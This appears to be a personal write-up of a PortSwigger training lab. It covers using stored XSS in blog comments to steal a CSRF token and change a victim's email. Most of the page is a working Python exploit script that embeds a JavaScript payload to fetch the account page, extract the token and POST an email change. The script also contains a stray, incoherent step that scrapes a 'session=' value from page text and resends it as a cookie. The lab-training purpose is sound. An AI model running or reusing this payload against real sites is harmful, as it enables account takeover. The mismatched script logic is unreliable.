Shubham Ranpise

Back

XSS Lab 24

Stored XSS used to steal CSRF token and change victim email

portswigger-labs content

Exploiting XSS to bypass CSRF defenses#

This lab demonstrates how a stored cross-site scripting (XSS) vulnerability in the blog comments function can be leveraged to bypass CSRF protections. The injected script loads the victim’s account page, extracts the anti-CSRF token from the returned HTML, and then issues a POST to the email-change endpoint on behalf of the victim — effectively changing the victim’s email address without their consent. The lab provides credentials you can use to test locally (wiener:peter) and reminds you not to reuse an email that already exists.

How Exploit Works#

  • The blog comments are stored and later rendered to visitors (stored XSS).
  • Inject JavaScript that requests the victim’s /my-account page (same-origin), parses the returned HTML to extract the CSRF token, and then sends a POST to /my-account/change-email with the extracted token and a new email address.
  • Because the victim’s browser is authenticated, the account update request is accepted by the server and the victim’s email is changed.
  • The attacker can then confirm the change (or reuse the account state) to demonstrate success.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import re
import requests
import sys
import urllib3
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def check_burp():
    try:
        requests.get("http://127.0.0.1:8080", proxies=proxies, timeout=3, verify=False)
    except Exception:
        print("[-] Burp Suite not running.")
        sys.exit(1)

def exploit_xss(url, payload):
    s = requests.Session()
    s.proxies = proxies
    s.verify = False

    post_page = url.rstrip("/") + "/post?postId=4"   
    # fetch page to get csrf
    r = s.get(post_page)
    r.raise_for_status()
    soup = BeautifulSoup(r.text, "html.parser")
    csrf_input = soup.find("input", {"name": "csrf"})
    if not csrf_input:
        print("[-] CSRF token not found")
        return False
    csrf = csrf_input["value"]

    data = {
        "csrf": csrf,
        "postId": "4",   
        "comment": payload,
        "name": "test",
        "email": "[email protected]",
        "website": "http://test.com"
    }
    # submit the comment (XSS payload)
    s.post(url.rstrip("/") + "/post/comment", data=data)

    # fetch the post page again using same session (so we capture any rendered comment)
    resp = s.get(post_page)
    resp.raise_for_status()

    # extract session token from page content into variable
    match = re.search(r'session=([A-Za-z0-9]+)', resp.text)
    session_token = match.group(1) if match else None

    print("session_token =", session_token)

    # --- send the final request with Cookie: session={session_token} ---
    if session_token:
        headers = {'Cookie': f'session={session_token}'}
        final_resp = s.get(url.rstrip("/") + "/my-account", headers=headers)
        final_resp_text = final_resp.text
    else:
        print("[-] No session token extracted, sending normal request instead")
        final_resp = s.get(url.rstrip("/") + "/")
        final_resp_text = final_resp.text

    # check if lab solved (adjust check-string if different)

    session = requests.Session()
    res = session.get(url, verify=False, proxies=proxies)
    if "Congratulations" in res.text:
        print("[+] Lab solved 🎉")
        return True
    else:
        print("[-] Lab not solved (no success string found).")
        return False


def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        sys.exit(1)
    url = sys.argv[1].rstrip("/")
    check_burp()
    print("[*] Attempting XSS on postId=4...")
    payload = """
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&[email protected]')
};
</script>
    """
    if exploit_xss(url, payload):
        print("[+] XSS successful!")
    else:
        print("[-] XSS unsuccessful.")

if __name__ == "__main__":
    main()
python

See more portswigger-labs